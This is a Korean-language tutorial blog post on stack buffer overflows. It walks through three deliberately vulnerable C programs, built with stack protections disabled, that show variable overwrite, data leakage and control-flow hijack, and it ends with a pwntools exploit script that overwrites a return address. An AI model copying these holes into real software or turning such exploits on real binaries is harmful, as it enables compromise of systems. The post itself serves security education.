Buffer Overflow란?
BOF(Buffer Overflow)는 버퍼(Buffer)의 용량을 초과하여 인접한 메모리 위치를 침범하는 현상을 말한다.
BOF의 종류는 두 가지로 나눌 수 있는데 Stack에서 발생하는 Stack Buffer Overflow, Heap에서 발생하는 Heap Buffer Overflow가 있다. 여기서는 Stack Buffer Overflow만 다룰 것이다.
Stack Buffer Overflow란?
Stack Buffer OverFlow는 프로그램이 할당된 스택 영역에서 데이터가 할당된 범위를 초과해 저장될 때 발생하는 문제이다. 이로 인해 중요한 데이터나 프로그램의 제어 흐름을 변경하는 등 심각한 보안 문제가 발생할 수 있다.
Stack Buffer Overflow 공격방법
첫 번째로 중요 데이터를 변조하는 것이다. 버퍼 뒤에 중요한 데이터가 존재하고 만약 BOF가 발생하면 그 데이터를 덮을 수 있기 때문에 문제가 발생할 수 있다.
두 번째로는 데이터 유출이 가능하다는 것이다. C언어에서 문자열은 NULL로 마무리가 되기 때문에 버퍼 사이에 NULL을 지우게 된다면 다른 버퍼도 출력시켜 그 정보를 유출시킬 수 있을 것이다.
세 번째는 실행 흐름을 조작할 수 있다. 함수를 호출할 때 반환 주소를 쌓고 함수에서 반환될 때 이를 꺼내 원래 위치로 돌아간다. 그 때 반환 주소를 내가 원하는 함수나 관리자권한을 획득할 수 있는 함수 주소를 넣는다면 실행 흐름을 조작할 수 있을 것이다.
예시코드
중요 데이터 변조
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
//gcc -o test test.c -fno-stack-protector -Wno-stringop-overflow
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main() {
char name[15]="Hello World!";
char buf[8];
read(0, buf, 100);
printf("%s", name);
return 0;
}
|
cs |
gdb를 통해 스택프레임이 어떻게 구성되어있는지 확인해보겠다.
rsp는 rbp에서 0x20 떨어진 위치에 있다. [rbp-0xf], [rbp-0x7]에 어떤 값이 들어가는 것을 알 수 있는데 이 값은 Hello World! 즉 name에 위치라고 할 수 있다. read 함수 부분을 보면 [rbp-0x17]부분에서 값이 들어가는 것을 확인할 수 있는데 c언어에서 read 함수의 값이 들어가는 곳은 buf이기 때문에 [rbp-0x17]에 buf가 존재하는 것을 알 수 있다. 이해하기 쉽게 스택프레임을 그려보았다.
그렇다면 어떻게 하면 name 값을 덮을 수 있을지 생각을 해보면 buf의 크기인 0x8(8)을 채우면 바로 name의 영역에 도달할 수 있다. 0x8보다 값을 더 넣으면 name의 값을 덮을 수 있는 것이다. 한 번 값을 넣어서 실행을 해보겠다.
처음 값에는 a를 3개 넣어보니 값의 변화가 없었지만 두 번째 실행에서 a를 8개를 넣고 실행을 해보니 값에 변화가 있었다.
이런 식으로 값을 변경할 수 있다.
데이터 유출
1
2
3
4
5
6
7
8
9
10
11
12
13
|
//gcc -o test2 test2.c -fno-stack-protector -Wno-stringop-overflow
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main() {
char name[15]="important data";
char buf[8];
read(0, buf, 100);
printf("buf : %s\n", buf);
return 0;
}
|
cs |
이전 코드를 살짝 변형 시켜보았다. gdb를 통해 분석을 해보겠다.
이 값도 아까 전 코드와 크게 다른 점이 없다. 바뀐 점은 name의 값과 buf의 값을 출력한다는 점이다. 스택 프레임을 그려보았다.
C언어의 문자열은 NULL값으로 마무리된다. 만약 이 NULL 값이 존재하지 않는다면 name까지 출력이 가능할 것이다. 그러면 a의 값을 8개로 채운다면 NULL값이 없게 되므로 name의 값도 출력이 될 것이다. 확인을 해보겠다.
a를 3개 입력했을 때는 buf의 값만 출력하지만 a의 개수가 7개일 때는 name의 값이 출력된다는 것을 알 수있다. 근데 아까 전에 a의 개수가 8개여야 name의 값이 출력된다고 말을 했다. a의 값을 7개만 넣어도 출력되는 이유는 입력할 때 Enter를 입력하여 개행문자가 들어갔기 때문이다.
-> aaaaaaa\n
실행흐름 변조
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
//gcc -o test3 test3.c -no-pie -fno-stack-protector
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void hack()
{
write(1, "Your computer has been hacked.", 30);
}
int main()
{
char buf[20] = "Save my Computer";
read(0, buf, 100);
return 0;
}
|
cs |
hack함수를 실행시킬려면 어떻게 해야 할까 결론부터 말하면 hack함수의 주소를 알아낸 후에 BOF가 발생하는 read 값에 dummy값을 넣고 함수 주소를 넣으면 실행될 것이다. gdb를 통해 좀 더 자세히 알아보겠다.
[rbp-0x20]에 buf가 존재한다는 것을 알 수 있다. 그렇다면 hack함수의 주소만 알아내면 될 것 같다. pwntool에서 ELF symbols을 이용하면 쉽게 구할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
|
from pwn import *
p = process("./test3")
e = ELF("./test3")
hack = e.symbols['hack']
payload = b'a' * 0x20 + b'b' * 0x8 + p64(hack) #0x20 = buf의 크기 + 0x8 = sfp의 크기
p.send(payload)
print(p.recvall())
|
cs |
익스코드를 한 번 실행해보겠다.
hack함수가 실행되었음을 알 수 있다. 만약 저 hack함수가 단순 출력이 아니라 관리자의 shell을 획득할 수 있는 코드였다면 매우 위험했을 것이다.
'보안 공부 > [PWNABLE]' 카테고리의 다른 글
[PWNABLE] Canary (1) | 2024.12.24 |
---|